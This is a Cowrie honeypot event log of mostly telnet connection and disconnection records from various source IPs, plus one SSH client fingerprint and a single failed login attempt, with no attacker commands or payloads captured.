{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":51470,"dst_ip":"10.17.0.5","dst_port":23,"session":"80e550e6f07c","protocol":"telnet","message":"New connection: 50.6.7.102:51470 (10.17.0.5:23) [session: 80e550e6f07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:17.506753Z"}
{"eventid":"cowrie.session.closed","duration":31.26005983352661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:17.585373Z","src_ip":"160.250.4.73","session":"e346860dbedf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59008550643921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:17.678877Z","src_ip":"162.214.112.92","session":"e29f99a24516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":33214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b5b5405de5","protocol":"telnet","message":"New connection: 192.161.62.114:33214 (10.17.0.5:23) [session: e7b5b5405de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:18.199396Z"}
{"eventid":"cowrie.session.closed","duration":31.184387922286987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:18.289405Z","src_ip":"99.198.111.122","session":"6e1507eb9906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471172332763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:18.322858Z","src_ip":"162.214.112.92","session":"74e4af8b186b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":42194,"dst_ip":"10.17.0.5","dst_port":23,"session":"c814209b7d9c","protocol":"telnet","message":"New connection: 162.214.112.92:42194 (10.17.0.5:23) [session: c814209b7d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:18.802815Z"}
{"eventid":"cowrie.session.closed","duration":30.310672521591187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:19.096331Z","src_ip":"135.148.33.217","session":"9f2858f2fcf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32272958755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:19.166379Z","src_ip":"160.250.4.73","session":"61cc0855e855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":35646,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef45e3b2d2c","protocol":"telnet","message":"New connection: 176.74.31.147:35646 (159.203.135.109:23) [session: aef45e3b2d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:19.213694Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":60046,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e18208749af","protocol":"telnet","message":"New connection: 192.161.62.114:60046 (10.17.0.5:23) [session: 5e18208749af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:19.276748Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":33194,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c82e6945325","protocol":"telnet","message":"New connection: 176.74.31.147:33194 (159.203.135.109:23) [session: 4c82e6945325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:19.280454Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":33624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d24dae16d3b","protocol":"telnet","message":"New connection: 192.161.62.114:33624 (10.17.0.5:23) [session: 5d24dae16d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:19.774292Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":33788,"dst_ip":"10.17.0.5","dst_port":23,"session":"12727100d25d","protocol":"telnet","message":"New connection: 192.161.62.114:33788 (10.17.0.5:23) [session: 12727100d25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:20.024439Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":56934,"dst_ip":"10.17.0.5","dst_port":23,"session":"357834324edd","protocol":"telnet","message":"New connection: 160.250.4.73:56934 (10.17.0.5:23) [session: 357834324edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:20.058353Z"}
{"eventid":"cowrie.session.closed","duration":30.368149280548096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:20.154458Z","src_ip":"160.250.4.73","session":"1d20cc48b5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":32818,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a0ad8c71a7","protocol":"telnet","message":"New connection: 192.161.62.114:32818 (10.17.0.5:23) [session: b5a0ad8c71a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:20.516841Z"}
{"eventid":"cowrie.session.closed","duration":31.316670179367065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:20.669843Z","src_ip":"162.241.40.195","session":"c50c2f7cf00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":42682,"dst_ip":"10.17.0.5","dst_port":23,"session":"829f8ea7faae","protocol":"telnet","message":"New connection: 162.214.112.92:42682 (10.17.0.5:23) [session: 829f8ea7faae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:20.688486Z"}
{"eventid":"cowrie.session.closed","duration":30.69464612007141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.008936Z","src_ip":"135.148.33.217","session":"91709daaac0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.220263481140137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.056927Z","src_ip":"99.198.111.122","session":"962b5c3d7662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28083825111389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.124938Z","src_ip":"160.250.4.73","session":"c730f8b39c7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09491491317749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.132969Z","src_ip":"162.241.40.195","session":"d52a8c4aad44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.263022899627686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.483884Z","src_ip":"162.241.40.195","session":"3306bafad11f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44346,"dst_ip":"10.17.0.5","dst_port":23,"session":"615e9abbdea1","protocol":"telnet","message":"New connection: 64.235.40.29:44346 (10.17.0.5:23) [session: 615e9abbdea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.676839Z"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:21.725002Z","src_ip":"122.168.114.167","session":"9c6507b456f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.301974296569824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.047351Z","src_ip":"99.198.111.122","session":"dea2faaada5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":34832,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e838e4573c","protocol":"telnet","message":"New connection: 135.148.33.217:34832 (10.17.0.5:23) [session: f4e838e4573c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.122507Z"}
{"eventid":"cowrie.session.closed","duration":30.93848466873169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.242423Z","src_ip":"50.6.7.102","session":"1186740ceb70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235442399978638,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.255811Z","src_ip":"162.241.40.195","session":"d395fd9eaef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":36166,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a73071d2fe","protocol":"telnet","message":"New connection: 192.161.62.114:36166 (10.17.0.5:23) [session: 36a73071d2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.566221Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":36184,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1264ca0878f","protocol":"telnet","message":"New connection: 192.161.62.114:36184 (10.17.0.5:23) [session: e1264ca0878f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.668710Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":43264,"dst_ip":"10.17.0.5","dst_port":23,"session":"637f2469cb26","protocol":"telnet","message":"New connection: 162.214.112.92:43264 (10.17.0.5:23) [session: 637f2469cb26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:22.914555Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":38810,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee3f5c19f7a4","protocol":"telnet","message":"New connection: 176.74.31.147:38810 (159.203.135.109:23) [session: ee3f5c19f7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.252442Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":38248,"dst_ip":"159.203.135.109","dst_port":23,"session":"61faa2bd4aa7","protocol":"telnet","message":"New connection: 176.74.31.147:38248 (159.203.135.109:23) [session: 61faa2bd4aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.278064Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":36102,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc09df5c697","protocol":"telnet","message":"New connection: 192.161.62.114:36102 (10.17.0.5:23) [session: cfc09df5c697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.491011Z"}
{"eventid":"cowrie.session.closed","duration":31.107322216033936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.653909Z","src_ip":"160.250.4.73","session":"6bcba2c7568e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":36894,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e9b276e526f","protocol":"telnet","message":"New connection: 192.161.62.114:36894 (10.17.0.5:23) [session: 1e9b276e526f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.673153Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":54000,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7b0da902c65","protocol":"telnet","message":"New connection: 50.6.7.102:54000 (10.17.0.5:23) [session: c7b0da902c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.733911Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":36300,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa80153a9a15","protocol":"telnet","message":"New connection: 192.161.62.114:36300 (10.17.0.5:23) [session: aa80153a9a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:23.971848Z"}
{"eventid":"cowrie.session.closed","duration":30.796083450317383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.246441Z","src_ip":"162.241.40.195","session":"d22c217ee666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17252540588379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.286036Z","src_ip":"162.241.40.195","session":"63f72e7c1d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760140895843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.334363Z","src_ip":"99.198.111.122","session":"bc5642122772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":38898,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c87922b7b2b","protocol":"telnet","message":"New connection: 176.74.31.147:38898 (159.203.135.109:23) [session: 4c87922b7b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.407036Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":39848,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e24fb521b79","protocol":"telnet","message":"New connection: 176.74.31.147:39848 (159.203.135.109:23) [session: 8e24fb521b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.493691Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44354,"dst_ip":"10.17.0.5","dst_port":23,"session":"e09bb4c3baf2","protocol":"telnet","message":"New connection: 64.235.40.29:44354 (10.17.0.5:23) [session: e09bb4c3baf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.855668Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":56948,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ee67e23e0e","protocol":"telnet","message":"New connection: 160.250.4.73:56948 (10.17.0.5:23) [session: c5ee67e23e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.898688Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b54c01e89c","protocol":"telnet","message":"New connection: 192.161.62.114:37022 (10.17.0.5:23) [session: e0b54c01e89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:24.906740Z"}
{"eventid":"cowrie.session.closed","duration":30.72667622566223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.088248Z","src_ip":"99.198.111.122","session":"ece4325d42a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00435495376587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.093147Z","src_ip":"64.235.40.29","session":"6b7e1ad61b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":37734,"dst_ip":"10.17.0.5","dst_port":23,"session":"8138a542a2e3","protocol":"telnet","message":"New connection: 192.161.62.114:37734 (10.17.0.5:23) [session: 8138a542a2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.223268Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":39676,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a4a1494e5a","protocol":"telnet","message":"New connection: 176.74.31.147:39676 (159.203.135.109:23) [session: c6a4a1494e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.287205Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":38268,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3bb17efbf2","protocol":"telnet","message":"New connection: 176.74.31.147:38268 (159.203.135.109:23) [session: 7c3bb17efbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.329076Z"}
{"eventid":"cowrie.session.closed","duration":31.708970546722412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.339076Z","src_ip":"162.214.112.92","session":"f2e123823a49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715402603149414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.480083Z","src_ip":"162.241.40.195","session":"48d80c165f1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71897554397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:25.832583Z","src_ip":"162.214.112.92","session":"9c366325b9ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"487302f83fa0","protocol":"telnet","message":"New connection: 162.241.40.195:37286 (10.17.0.5:23) [session: 487302f83fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:26.294960Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":37802,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ea361b0a97","protocol":"telnet","message":"New connection: 192.161.62.114:37802 (10.17.0.5:23) [session: 00ea361b0a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:26.315959Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"995d644cdce5","protocol":"telnet","message":"New connection: 176.74.31.147:41574 (159.203.135.109:23) [session: 995d644cdce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:26.492095Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":44070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6958b876ba06","protocol":"telnet","message":"New connection: 162.214.112.92:44070 (10.17.0.5:23) [session: 6958b876ba06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:26.918103Z"}
{"eventid":"cowrie.session.closed","duration":30.782989263534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.036001Z","src_ip":"50.6.7.102","session":"6e178b209cee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99954605102539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.154505Z","src_ip":"160.250.4.73","session":"178578efaa87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":44142,"dst_ip":"10.17.0.5","dst_port":23,"session":"029c49583972","protocol":"telnet","message":"New connection: 162.214.112.92:44142 (10.17.0.5:23) [session: 029c49583972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.233947Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"04af3935320a","protocol":"telnet","message":"New connection: 176.74.31.147:41296 (159.203.135.109:23) [session: 04af3935320a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.248129Z"}
{"eventid":"cowrie.session.closed","duration":30.78316831588745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.407943Z","src_ip":"162.241.40.195","session":"a0bb48c25470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41958,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0c6c3fa39da","protocol":"ssh","message":"New connection: 159.203.92.129:41958 (159.203.135.109:22) [session: b0c6c3fa39da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.611551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.616356Z","src_ip":"159.203.92.129","session":"b0c6c3fa39da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.625368Z","src_ip":"159.203.92.129","session":"b0c6c3fa39da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"archos","password":"4rch0s","message":"login attempt [archos/4rch0s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.637621Z","src_ip":"159.203.92.129","session":"b0c6c3fa39da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":39318,"dst_ip":"10.17.0.5","dst_port":23,"session":"10e8ac56a7a9","protocol":"telnet","message":"New connection: 192.161.62.114:39318 (10.17.0.5:23) [session: 10e8ac56a7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:27.921736Z"}
{"eventid":"cowrie.session.closed","duration":31.001327991485596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:28.074240Z","src_ip":"99.198.111.122","session":"bdb53962ba30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47263479232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:28.088038Z","src_ip":"64.235.40.29","session":"2e237204f546","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":39724,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4660de17446","protocol":"telnet","message":"New connection: 192.161.62.114:39724 (10.17.0.5:23) [session: b4660de17446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:28.480570Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":43658,"dst_ip":"159.203.135.109","dst_port":23,"session":"47d40fd010c7","protocol":"telnet","message":"New connection: 176.74.31.147:43658 (159.203.135.109:23) [session: 47d40fd010c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:28.530224Z"}
